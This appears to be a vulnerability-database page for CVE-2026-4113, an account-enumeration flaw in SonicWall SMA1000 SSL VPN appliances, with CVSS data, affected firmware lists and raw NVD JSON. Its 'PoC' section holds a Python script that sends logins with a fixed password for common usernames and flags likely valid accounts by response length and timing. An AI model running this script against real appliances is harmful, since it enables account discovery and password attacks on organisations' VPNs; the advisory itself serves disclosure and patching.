Security Vulnerability Report
中文
CVE-2026-4113 CVSS 7.2 HIGH

CVE-2026-4113

Published: 2026-04-09 15:16:14
Last Modified: 2026-05-14 19:37:46

Description

An observable response discrepancy vulnerability in the SonicWall SMA1000 series appliances allows a remote attacker to enumerate SSL VPN user credentials.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:sonicwall:sma6210_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:sonicwall:sma6210_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:sma6210:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:sonicwall:sma8200v:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sonicwall:sma8200v:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:sonicwall:sma7200_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:sonicwall:sma7200_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:sma7200:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sonicwall:sma7210_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:sonicwall:sma7210_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:sma7210:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sonicwall:sma6200_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:sonicwall:sma6200_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:sma6200:-:*:*:*:*:*:*:* - NOT VULNERABLE
SonicWall SMA1000 series (具体受影响版本请参考厂商公告 SNWLID-2026-0003)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time # Target configuration target_url = "https://<target-ip>/sslvpn/login" usernames = ["admin", "root", "user", "test"] fixed_password = "Password123!" print("[*] Starting observable response discrepancy analysis...") for user in usernames: payload = { "username": user, "password": fixed_password } try: start_time = time.time() # Send POST request to login endpoint response = requests.post(target_url, data=payload, verify=False, timeout=10) end_time = time.time() elapsed_time = end_time - start_time response_length = len(response.content) status_code = response.status_code # Analyze discrepancies print(f"[+] User: {user} | Status: {status_code} | Length: {response_length} | Time: {elapsed_time:.4f}s") if status_code == 200 and response_length > 1000: print(f"[!] Potential valid user found: {user}") except Exception as e: print(f"[!] Error with user {user}: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4113", "sourceIdentifier": "[email protected]", "published": "2026-04-09T15:16:13.683", "lastModified": "2026-05-14T19:37:45.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An observable response discrepancy vulnerability in the SonicWall SMA1000 series appliances allows a remote attacker to enumerate SSL VPN user credentials."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-204"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma6210_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.3-03387", "matchCriteriaId": "4DBCAA68-BFC4-4282-BE32-5BE837C01D78"}, {"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma6210_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0", "versionEndExcluding": "12.5.0-02624", "matchCriteriaId": "9A037764-3A32-4BDA-9A30-5B37C18CD08D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sma6210:-:*:*:*:*:*:*:*", "matchCriteriaId": "7B24D300-1154-49A1-A1F3-FB0CC717166A"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sonicwall:sma8200v:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.3-03387", "matchCriteriaId": "E9C76A87-8E12-493D-8F14-D73D83DF641E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sonicwall:sma8200v:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0", "versionEndExcluding": "12.5.0-02624", "matchCriteriaId": "48715079-B463-4626-971E-203EB3EDDAAB"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma7200_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.3-03387", "matchCriteriaId": "6C562F03-50C0-4ED7-8AD6-4CF3C5862D13"}, {"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma7200_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0", "versionEndExcluding": "12.5.0-02624", "matchCriteriaId": "BFF37E70-755D-425E-84C6-DDB975288187"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sma7200:-:*:*:*:*:*:*:*", "matchCriteriaId": "4F7B4ED9-7A57-48DC-AAEC-A2C2EAFF3B64"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma7210_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.3-03387", "matchCriteriaId": "3616EEFA-CEB8-4E9C-A53C-356C78DC1244"}, {"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma7210_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0", "versionEndExcluding": "12.5.0-02624", "matchCriteriaId": "0FE09110-AA3D-4466-8C32-2480D1135AF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sma7210:-:*:*:*:*:*:*:*", "matchCriteriaId": "E9B414C5-C376-4216-A267-ABC0930905CE"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma6200_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.4.3-03387", "matchCriteriaId": "987A8BE1-77A9-4672-933B-ACD501DD3AB4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sma6200_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.5.0", "versionEndExcluding": "12.5.0-02624", "matchCriteriaId": "87A919DB-A894-4ED9-8934-C7C007AACF68"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sma6200:-:*:*:*:*:*:*:*", "matchCriteriaId": "57B3C90F-F633-41B9-855E-902F6DC8ACA5"}]}]}], "references": [{"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0003", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}